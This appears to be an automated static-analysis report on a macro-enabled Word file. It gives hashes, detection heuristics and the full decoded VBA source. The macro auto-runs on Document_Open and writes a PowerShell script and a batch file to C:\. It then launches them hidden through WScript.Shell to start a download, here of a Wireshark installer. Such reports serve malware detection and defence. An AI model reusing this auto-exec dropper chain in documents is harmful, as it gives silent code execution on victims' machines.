Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f2849b32744c05dc…

MALICIOUS

Office (OOXML)

19.1 KB Created: 2020-10-05 06:44:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-11-12
MD5: 4ae616efc18aa050c2042319d8d071e2 SHA-1: 54a1b4820954ee7ab66074dbdb62847fb4dbc033 SHA-256: f2849b32744c05dcaa0d741dbadd29742fb6daeb391c6819366c799fdfba6ded
330 Risk Score

Heuristics 9

  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Dim shell
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set shell = CreateObject("WScript.Shell")
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        MyFile1.WriteLine ("Powershell.exe -windowstyle hidden -File  C:\testfile.ps1")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set fso = CreateObject("Scripting.FileSystemObject")
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
        MyFile.WriteLine ("Invoke-Expression ""cmd.exe /C start https://www.wireshark.org/download/win32/Wireshark-win32-2.6.20.msi""")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • https://www.wireshark.org/download/win32/Wireshark-win32-2.6.20.msiIn document text (OOXML body / shared strings)
    • https://www.wireshark.org/download/win32/Wireshark-win32-2.6In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1452 bytes
SHA-256: 13b6dd8a805371f41d32549f305f0af231a8dae118f82fc0665a026b76c351e3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_New()

End Sub

Private Sub Document_Open()

'Create a new ps1 script which will when executed downloaded content from malicious hosted script
    Dim st As String
    st = """$((Get-Location).Path)\Finalfile.ps1"""
    Dim fso, MyFile
    Set fso = CreateObject("Scripting.FileSystemObject")
    Set MyFile = fso.CreateTextFile("c:\testfile.ps1", True)
    MyFile.WriteLine ("[Net.ServicePointManager]::SecurityProtocol = 'tls12, tls11, tls'")
    MyFile.WriteLine ("Invoke-Expression ""cmd.exe /C start https://www.wireshark.org/download/win32/Wireshark-win32-2.6.20.msi""")
    MyFile.Close
   
'Create and run a batch file to run the created powershell script
    Dim fso1, MyFile1
    Set fso1 = CreateObject("Scripting.FileSystemObject")
    Set MyFile1 = fso1.CreateTextFile("c:\run.bat", True)
    MyFile1.WriteLine ("@echo off")
    MyFile1.WriteLine ("Powershell.exe -windowstyle hidden -File  C:\testfile.ps1")
    MyFile1.Close
   
    Dim shell
    Set shell = CreateObject("WScript.Shell")
    Set shell = CreateObject("WScript.Shell")
    shell.CurrentDirectory = "C:\"
    shell.Run "run"

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 17920 bytes
SHA-256: dbd21358609e10b3c79414cb4fbb0eef885079bfd6417eca49b292614c52cce6